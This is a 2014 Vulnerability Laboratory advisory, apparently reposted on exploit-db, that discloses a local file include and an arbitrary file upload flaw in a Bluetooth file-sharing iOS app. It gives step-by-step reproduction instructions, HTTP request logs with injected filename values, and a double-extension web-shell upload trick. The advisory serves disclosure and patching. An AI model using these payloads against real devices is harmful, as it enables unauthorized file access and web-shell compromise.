1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 |
Document Title: =============== Bluetooth Photo-File Share v2.1 iOS - Multiple Web Vulnerabilities References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1270 Release Date: ============= 2014-05-30 Vulnerability Laboratory ID (VL-ID): ==================================== 1270 Common Vulnerability Scoring System: ==================================== 7 Product & Service Introduction: =============================== This is the best bluetooth sharing and file transfer app in app store. Transfer photo, video, contacts and any file between two iPhone, iPad and/or iPod Touches over bluetooth connection. Requires iPhone 3G or later or 2nd generation iPod Touch or later. Does not require any 3G or WiFi connection. Unlike some other bluetooth photo sharing apps only can transfer photo from Photo Library, The bluetooth share not only can transfer photo, but also it can transfer video from Photo Library. ( Copy of the Homepage: https://itunes.apple.com/de/app/bluetooth-photo-video-musik/id590369016 ) Abstract Advisory Information: ============================== The Vulnerability Laboratory Research Team discovered multiple web vulnerabilities in the official Bluetooth Photo/Video /Musik /Contact /File Share v2.1 iOS mobile application. Vulnerability Disclosure Timeline: ================================== 2014-05-30: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Tao Xu Product: Bluetooth Photo /Video /Musik /Contact /File Share - iOS Mobile Web Application 2.1 Exploitation Technique: ======================= Remote Severity Level: =============== High Technical Details & Description: ================================ 1.1 A local file include web vulnerability has been discovered in the official Bluetooth Photo/Video /Musik /Contact /File Share v2.1 iOS mobile application. The local file include web vulnerability allows remote attackers to unauthorized include local file/path requests or system specific path commands to compromise the mobile web-application. The web vulnerability is located in the <code>filename</code> value of the <code>data upload</code> module. Remote attackers are able to inject own files with malicious <code>filename values in the <code>file upload</code> POST method request to compromise the mobile web-application. The local file/path execution occcurs in the file/path dir index list web context. The attacker is able to inject the malicious file/path include request by usage of the available <code>filesharing > wifi-transfer interface</code>. Local attackers are also able to exploit the filename validation issue in combination with persistent injected script codes to execute different local malicious attacks requests. The attack vector is on the application-side of the allreader wifi service and the request method to inject is POST. The security risk of the local file include web vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.8. Exploitation of the local file include web vulnerability requires no privileged web-application user account withoutuser interaction. Successful exploitation of the local file include web vulnerability results in mobile application or connected device component compromise. Request Method(s): [+] [POST] Vulnerable Module(s): [+] Filesharing > Wi-fi Transfer UI Vulnerable Function(s): [+] Upload Vulnerable Parameter(s): [+] filename Affected Module(s): [+] Index File Dir List (http://localhost:8080/) 1.2 An arbitrary file upload web vulnerability has been discovered in the official Bluetooth Photo/Video /Musik /Contact /File Share v2.1 iOS mobile application. The arbitrary file upload issue allows remote attackers to upload files with multiple extensions to bypass the system validation and compromise the web-server. The vulnerability is located in the upload file module. Remote attackers are able to upload a php or js web-shells by a rename of the file with multiple extensions to bypass the file restriction mechanism. The attacker uploads for example a web-shell with the following name and extension <code>pentest.png.js.html.php</code>. After the upload the attacker needs to open the file in the web application. He deletes the .png file extension and can access the application with elevated access rights. The security risk of the arbitrary file upload web vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 7.1. Exploitation of the arbitrary file upload web vulnerability requires no user interaction or privilege application user account with password. Successful exploitation of the vulnerability results in unauthorized file access because of a compromise after the upload of web-shells. Request Method(s): [+] [POST] Vulnerable Module(s): [+] Filesharing > Wi-fi Transfer UI Vulnerable Function(s): [+] Upload Vulnerable Parameter(s): [+] filename (multiple extensions) Affected Module(s): [+] Index File Dir Listing (http://localhost:8080) Proof of Concept (PoC): ======================= 1.1 The local file include web vulnerability can be exploited by local attackers without privileged application user account or user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the vulnerability ... 1. Install the mobile application to your apple ios device (iphone/ipad) 2. Open the application locally and activate the wifi transfer & export function 3. Login to another remote device in the same network to the application interface (localhost:8080) 4. Choose a random file to upload, start a session tamper to intercept and press the submit button 5. Change in the POST method request of the upload module the vulnerable filename value Note: Include for example a local device component file or mobile application path as value 6. Continue the request, refresh the index page and download the local file or request unauthorized the mobile device path 7. Successful reproduce of the local file include web vulnerability! PoC: Wi-fi Transfer (UI) - Index File Dir Listing <div class="filetable"> <table border="0" cellpadding="0" cellspacing="0"></table> <table id="filetable" cellpadding="0" cellspacing="0" width="860px"><thead><tr> <th class="file">File Name</th><th style="padding-left:15px">File Size</th><th class="actionbutton"></th><th class="actionbutton"></th></tr> </thead><tbody id="filelist" style="padding-left:15px;"> <tr><td class="file"><a href="https://www.exploit-db.com/files/[LOCAL FILE/PATH INCLUDE VULNERABILITY VIA FILENAME VALUE].png" class="file"> <./[LOCAL FILE/PATH INCLUDE VULNERABILITY VIA FILENAME VALUE]">.png</a></td><td class='info'>538.00B</td> <td class='actionbutton' ><form><input type='button' value='Download' onClick="window.location.href='https://www.exploit-db.com/files/[LOCAL FILE/PATH INCLUDE VULNERABILITY VIA FILENAME VALUE].png'"></form></td> <td class='actionbutton' ><form action='/files/%3Ciframe%20src=a%3E.png' method='post' ><input name='_method' value='delete' type='hidden'/> <input name="commit" type="submit" value="Delete" class='button' /></form></td></tr></tbody></table></iframe></a></td></tr></tbody></table> <br><br></div> --- POC SESSION LOGS [POST] (LFI) --- 19:32:08.304[128ms][total 128ms] Status: 302[Found] POST http://localhost:8080/files Load Flags[LOAD_DOCUMENT_URILOAD_INITIAL_DOCUMENT_URI] Gr��e des Inhalts[67] Mime Type[text/html] Request Header: Host[localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Referer[http://localhost:8080/] Connection[keep-alive] POST-Daten: POST_DATA[-----------------------------284152263011599 Content-Disposition: form-data; name="newfile"; filename="<iframe src=a>.png" Content-Type: image/png - 19:32:09.312[129ms][total 177ms] Status: 200[OK] GET http://localhost:8080/ Load Flags[LOAD_DOCUMENT_URILOAD_REPLACELOAD_INITIAL_DOCUMENT_URI] Gr��e des Inhalts[61465] Mime Type[application/x-unknown-content-type] Request Header: Host[localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Referer[http://localhost:8080/] Connection[keep-alive] Response Header: Accept-Ranges[bytes] Content-Length[61465] Date[Mi., 28 Mai 2014 17:45:38 GMT] - 19:32:10.023[143ms][total 143ms] Status: 200[OK] GET http://localhost:8080/files?Wed%20May%2028%202014%2019:32:09%20GMT+0200 Load Flags[LOAD_BACKGROUND] Gr��e des Inhalts[60] Mime Type[text/plain] Request Header: Host[localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0] Accept[application/json, text/javascript, */*] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] X-Requested-With[XMLHttpRequest] Referer[http://localhost:8080/] Connection[keep-alive] Response Header: Accept-Ranges[bytes] Content-Length[60] Cache-Control[private, max-age=0, must-revalidate] Content-Type[text/plain; charset=utf-8] Date[Mi., 28 Mai 2014 17:45:39 GMT] - 19:32:10.623[147ms][total 147ms] Status: 200[OK] GET http://localhost:8080/.././[LOCAL FILE/PATH INCLUDE VULNERABILITY VIA FILENAME VALUE]; Load Flags[LOAD_DOCUMENT_URI] Gr��e des Inhalts[0] Mime Type[application/x-unknown-content-type] Request Header: Host[localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Referer[http://localhost:8080/] Connection[keep-alive] Response Header: Accept-Ranges[bytes] Content-Length[0] Date[Mi., 28 Mai 2014 17:45:39 GMT] Reference(s): http://localhost:8080/ 1.2 The arbitrary file upload web vulnerability can be exploited by remote attackers without privileged application user account or user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. PoC: 19:32:11.222[142ms][total 142ms] Status: 200[OK] GET http://localhost:8080/files/pentest.png.js.html.php Manual steps to reproduce the vulnerability ... 1. Install the mobile application to your apple ios device (iphone/ipad) 2. Open the application locally and activate the wifi transfer & export function 3. Login to another remote device in the same network to the application interface (localhost:8080) 4. Choose a random file to upload, start a session tamper to intercept and press the submit button 5. Change in the POST method request of the upload the vulnerable filename value Note: Include a webshell with multiple file extensions (exp. pentest.png.js.html.php.aspx.js.png) to bypass the mobile application filter 6. Upload the file and request after the refresh the following url http://localhost:8080/files/pentest.png.js.html.php.aspx.js.png Note: To execute the arbitrary code it is required to delete the .png file extensions 7. Successful reproduce of the arbitrary file upload web vulnerability! --- POC SESSION LOGS [POST] (AFU) --- 19:32:08.304[128ms][total 128ms] Status: 302[Found] POST http://localhost:8080/files Load Flags[LOAD_DOCUMENT_URILOAD_INITIAL_DOCUMENT_URI] Gr��e des Inhalts[67] Mime Type[text/html] Request Header: Host[localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Referer[http://localhost:8080/] Connection[keep-alive] POST-Daten: POST_DATA[-----------------------------284152263011599 Content-Disposition: form-data; name="newfile"; filename="pentest.png.js.html.php.aspx.js.png" Content-Type: image/png - 19:32:09.312[129ms][total 177ms] Status: 200[OK] GET http://localhost:8080/ Load Flags[LOAD_DOCUMENT_URILOAD_REPLACELOAD_INITIAL_DOCUMENT_URI] Gr��e des Inhalts[61465] Mime Type[application/x-unknown-content-type] Request Header: Host[localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Referer[http://localhost:8080/] Connection[keep-alive] Response Header: Accept-Ranges[bytes] Content-Length[61465] Date[Mi., 28 Mai 2014 17:45:38 GMT] - 19:32:10.023[143ms][total 143ms] Status: 200[OK] GET http://localhost:8080/files?Wed%20May%2028%202014%2019:32:09%20GMT+0200 Load Flags[LOAD_BACKGROUND] Gr��e des Inhalts[60] Mime Type[text/plain] Request Header: Host[localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0] Accept[application/json, text/javascript, */*] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] X-Requested-With[XMLHttpRequest] Referer[http://localhost:8080/] Connection[keep-alive] Response Header: Accept-Ranges[bytes] Content-Length[60] Cache-Control[private, max-age=0, must-revalidate] Content-Type[text/plain; charset=utf-8] Date[Mi., 28 Mai 2014 17:45:39 GMT] - 19:32:10.623[147ms][total 147ms] Status: 200[OK] GET http://localhost:8080/pentest.png.js.html.php.aspx.js.png Load Flags[LOAD_DOCUMENT_URI] Gr��e des Inhalts[0] Mime Type[application/x-unknown-content-type] Request Header: Host[localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Referer[http://localhost:8080/] Connection[keep-alive] Response Header: Accept-Ranges[bytes] Content-Length[0] Date[Mi., 28 Mai 2014 17:45:39 GMT] - 19:32:11.222[142ms][total 142ms] Status: 200[OK] GET http://localhost:8080/files/pentest.png.js.html.php Reference(s): http://localhost:8080/files/ Solution - Fix & Patch: ======================= 1.1 The file include web vulnerability can be patched by a secure encode and validation of the filename value itself. Parse also the output filename listing in the index module to prevent further local file/path include attacks. 1.2 Restrict the filename value input by disallow of special chars. Only allow letters and numbers. Proof for multiple file extensions and block/replace them. use a secure exception-handling or filter mechanism to prevent further arbitrary file upload attacks. Security Risk: ============== 1.1 The security risk of the local file include web vulnerability in the filename value is estimated as high. 1.2 The security risk of the arbitrary file upload web vulnerability in the wifi web-server ui is estimated as high. Credits & Authors: ================== Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. Domains:www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com Contact:admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com Section:dev.vulnerability-db.com - forum.vulnerability-db.com - magazine.vulnerability-db.com Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/ Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact (admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission. Copyright � 2014 | Vulnerability Laboratory [Evolution Security] -- VULNERABILITY LABORATORY RESEARCH TEAM DOMAIN: www.vulnerability-lab.com CONTACT: research@vulnerability-lab.com |